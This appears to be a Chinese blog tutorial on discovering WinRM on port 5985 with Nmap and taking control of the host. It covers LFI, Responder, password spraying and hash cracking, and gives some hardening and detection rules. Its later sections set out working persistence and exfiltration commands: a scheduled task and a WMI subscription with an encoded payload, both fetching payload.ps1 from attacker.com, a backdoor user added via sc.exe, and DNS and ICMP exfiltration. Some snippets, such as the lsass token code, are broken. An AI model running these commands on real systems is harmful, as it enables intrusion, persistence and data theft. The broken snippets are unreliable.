别再只扫22和80了!用Nmap深度扫描发现5985端口的WinRM服务并拿下权限

张开发
2026/4/22 17:23:47 15 分钟阅读
别再只扫22和80了!用Nmap深度扫描发现5985端口的WinRM服务并拿下权限
突破常规扫描WinRM服务深度利用与权限提升实战在渗透测试和系统安全评估中大多数技术人员都会习惯性地优先扫描22(SSH)、80/443(HTTP/HTTPS)、3389(RDP)等明星端口却往往忽略了像5985(WinRM)这样同样具有战略价值的入口点。这种选择性盲区不仅存在于新手群体甚至一些经验丰富的安全工程师也会因为思维定式而错过关键突破口。WinRM(Windows Remote Management)作为微软原生远程管理协议默认监听5985端口提供了类似SSH的远程命令行交互能力。与RDP的图形界面不同WinRM专注于高效的命令行操作特别适合批量管理、自动化运维等场景。正因如此一旦攻击者获取有效凭据就能通过WinRM快速建立持久化控制通道。本文将彻底解析WinRM服务从发现到利用的全链条技术细节带你突破传统扫描思维的局限。1. 突破传统高级端口扫描策略1.1 为什么常规扫描会遗漏WinRM大多数Nmap初学者会使用以下典型扫描命令nmap -sV 192.168.1.100这个命令虽然能快速识别常见服务但存在三个致命缺陷默认端口范围限制仅扫描约1000个最常用端口版本探测深度不足未启用脚本扫描可能误判服务类型速率控制缺失内网环境中扫描速度未优化在真实案例中我们曾遇到一台仅开放5985端口的服务器常规扫描完全无法发现其存在。直到使用全端口扫描才暴露这个管理入口。1.2 专业级扫描参数配置针对WinRM服务的发现推荐使用以下扫描策略组合参数作用推荐值注意事项-p-全端口扫描0-65535配合--min-rate使用--min-rate最小发包速率5000需根据网络质量调整-sV服务版本探测-增加扫描时间但提高准确性-sC默认脚本扫描-可能产生较多流量实战扫描命令示例nmap -v -p- --min-rate 5000 -sV -sC 10.129.136.91 -oA winrm_scan这个组合能在较短时间内完成全端口扫描同时准确识别服务类型。某次内网渗透测试中使用该策略发现了17台未被记录的WinRM服务主机。1.3 结果分析与服务确认当扫描结果显示5985端口开放时需要重点观察以下特征5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows虽然服务显示为HTTP但结合端口号应怀疑是WinRM服务。进一步验证可使用nmap -p 5985 --scripthttp-title 10.129.136.91典型WinRM服务会返回Windows Remote Management相关标题。2. WinRM服务深度解析2.1 协议架构与认证机制WinRM基于WS-Management协议实现其认证体系支持多种方式Basic认证Base64编码的明文传输高危NTLM认证Windows传统认证方式Kerberos认证域环境中的黄金标准Certificate认证最高安全级别的验证认证流程示例客户端发起WS-Management请求服务端返回支持的认证类型客户端选择认证方式并提交凭据服务端验证后建立会话重要提示在非SSL环境下使用Basic认证等同于传输明文密码务必强制使用HTTPS(5986端口)或VPN等加密通道。2.2 常见配置错误与风险企业环境中常见的WinRM安全隐患包括匿名访问启用完全无需认证即可连接弱密码策略允许简单密码或默认凭据权限过度分配普通用户拥有管理员权限日志记录缺失无法追踪异常访问行为网络暴露过度公网直接暴露5985端口某次安全评估中发现某企业财务系统存在以下危险配置winrm get winrm/config/service # 结果显示AllowUnencryptedtrue且BasicAuthtrue2.3 服务识别与指纹提取除了Nmap扫描还可通过以下方式确认WinRM服务HTTP请求检测curl -v http://10.129.136.91:5985/wsman典型响应包含HTTP/1.1 405 Method Not Allowed Server: Microsoft-HTTPAPI/2.0 X-WSMAN: 服务标识信息PowerShell探测Test-WSMan -ComputerName 10.129.136.91成功连接会返回服务配置详情。3. 凭据获取与横向移动3.1 常见凭据获取途径获得有效凭据是利用WinRM的关键主要方法包括LFI漏洞利用通过Web应用漏洞读取系统文件GET /index.php?page../../../../Windows/System32/config/SAM HTTP/1.1Responder中间人攻击捕获NTLM认证哈希python3 Responder.py -I eth0 -wrf密码喷洒攻击针对多个用户尝试常见密码crackmapexec winrm 10.129.136.91 -u users.txt -p passwords.txt3.2 哈希破解与验证获取NetNTLMv2哈希后的破解流程保存哈希到文件administrator::WINRM:1122334455667788:9A9B9C9D9E9F0000:0102030405060708使用John the Ripper破解john --formatnetntlmv2 hash.txt --wordlistrockyou.txt验证凭据有效性crackmapexec winrm 10.129.136.91 -u administrator -p badminton3.3 多工具连接方法evil-winrm使用evil-winrm -i 10.129.136.91 -u administrator -p badminton -s /scripts/ -e /executables/参数说明-s上传脚本目录-e上传可执行文件目录-H使用NTLM哈希连接PowerShell原生连接$cred Get-Credential Enter-PSSession -ComputerName 10.129.136.91 -Credential $credWinRS命令行工具winrs -r:http://10.129.136.91:5985/wsman -u:administrator -p:badminton cmd4. 防御加固与安全监控4.1 服务加固方案基础安全配置# 禁用非加密通信 winrm set winrm/config/service {AllowUnencryptedfalse} # 限制可访问IP范围 winrm set winrm/config/service {IPv4Filter192.168.1.0/24} # 启用证书认证 winrm create winrm/config/Listener?Address*TransportHTTPS {Hostnameserver01;CertificateThumbprintXXXXXX}组策略配置路径计算机配置 → 策略 → 管理模板 → Windows组件 → Windows远程管理(WinRM)4.2 入侵检测规则Suricata检测规则示例alert tcp any any - any 5985 (msg:WinRM Unauthenticated Access Attempt; content:Authorization: Basic; depth:20; nocase; sid:1000001;)SIEM关联规则逻辑当同一IP在5分钟内出现 - 10次以上WinRM认证失败 - 随后1次认证成功 标记为潜在暴力破解成功4.3 应急响应流程发现异常WinRM连接时的响应步骤立即隔离防火墙阻断源IP会话终止重置WinRM服务Restart-Service WinRM日志取证收集安全事件日志Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625}凭据轮换重置所有相关账户密码后门检查审查计划任务和启动项在一次事件响应中通过分析WinRM日志发现攻击者上传了PowerShell脚本到C:\Windows\Temp该脚本每5分钟向外发送系统信息。5. 高级利用与权限维持5.1 持久化技术计划任务创建schtasks /create /tn Maintenance /tr powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(http://attacker.com/payload.ps1) /sc hourly /ru SYSTEMWMI事件订阅$filterArgs { EventNamespace root\cimv2 Name WinRMFilter Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System QueryLanguage WQL } $filter Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs { Name WinRMConsumer CommandLineTemplate powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALgBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBpAGUAeAAoACQAcwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBhAHQAdABhAGMAawBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkAKQA } $consumer Set-WmiInstance -Namespace root/subscription -Class __CommandLineEventConsumer -Arguments $consumerArgs Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments {Filter$filter;Consumer$consumer}5.2 权限提升技巧服务配置滥用sc.exe config WinRM binPath net user hacker Pssw0rd /add sc.exe stop WinRM sc.exe start WinRM令牌模拟攻击$process Get-Process -Name lsass $handle [System.Diagnostics.Process]::GetProcessById($process.Id).Handle $token New-Object System.Security.Principal.WindowsIdentity($handle) $impersonatedUser $token.Impersonate()5.3 隐蔽通信技术DNS隧道建立# 客户端 $data [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Process))) Resolve-DnsName -Name $data.attacker.com -Type A -Server 8.8.8.8 # 服务端 Add-DnsServerResourceRecordA -Name * -ZoneName attacker.com -IPv4Address 127.0.0.1ICMP隐蔽通道# 需要管理员权限 New-NetFirewallRule -DisplayName ICMP Allow -Protocol ICMPv4 -IcmpType 8 -Enabled True -Action Allow # 数据发送 ping -n 1 -l 32 -w 1 $(echo data | xxd -p).attacker.com在一次红队演练中攻击者通过WinRM上传了经过混淆的PowerShell脚本该脚本利用ICMP协议外传数据成功绕过了网络监控。

更多文章